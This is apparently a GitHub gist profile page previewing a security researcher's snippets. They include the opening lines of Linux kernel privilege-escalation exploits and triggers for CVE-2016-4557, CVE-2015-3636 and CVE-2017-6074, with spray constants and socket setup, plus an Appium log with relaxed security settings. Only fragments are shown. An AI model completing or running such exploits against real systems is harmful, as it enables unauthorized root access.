Skip to content

Instantly share code, notes, and snippets.

View f0rm2l1n's full-sized avatar
💭
Go!go!go!

马麟 f0rm2l1n

💭
Go!go!go!
View GitHub Profile
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <asm/ioctl.h>
#include <linux/types.h>
#include <linux/compiler.h>
#include <linux/ctype.h>
#include <linux/debugfs.h>
#include <linux/delay.h>
[info] [HTTP] Waiting until the server is closed
[info] [HTTP] Received server close event
[info] [Appium] Welcome to Appium v1.20.0
[info] [Appium] Non-default server args:
[info] [Appium] relaxedSecurityEnabled: true
[info] [Appium] allowInsecure: {
[info] [Appium] }
[info] [Appium] denyInsecure: {
[info] [Appium] }
[info] [Appium] Appium REST http interface listener started on 0.0.0.0:4723[info] [HTTP] --> GET /wd/hub/sessions
@f0rm2l1n
f0rm2l1n / c
Created September 29, 2020 09:01
CVE-2016-4557-newexp.c
#define _GNU_SOURCE
#include <errno.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
@f0rm2l1n
f0rm2l1n / c
Created September 29, 2020 08:59
CVE-2016-4557-newtrigger.c
#define _GNU_SOURCE
#include <errno.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
@f0rm2l1n
f0rm2l1n / exp2.c
Last active July 30, 2020 14:12
rootable exploit for CVE-2015-3636
#include "exp2.h"
#define PAGE_SIZE (0x1000)
#define MAX_NULLMAP_SIZE (PAGE_SIZE * 4)
#define LIST_POSIION (0x200200)
#define PROTECT_BASE (LIST_POSIION&~(PAGE_SIZE-1))
#define MAX_VULTRIG_SOCKS_COUNT (4000)
#define MAX_PHYSMAP_SIZE (128 * 1024 * 1024) // 128 MB, cannot be too bigger...
// 128*6 in total, we only assigned with 1GB
#define MAX_PHYSMAP_SPRAY_PROCESS (6) // 6 times
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <time.h>
@f0rm2l1n
f0rm2l1n / trigger.c
Created June 7, 2020 07:27
CVE-2017-6074 note
int main() {
struct sockaddr_in6 sa1;
sa1.sin6_family = AF_INET6;
sa1.sin6_port = htons(20002);
inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
sa1.sin6_flowinfo = 0;
sa1.sin6_scope_id = 0;
int optval = 8;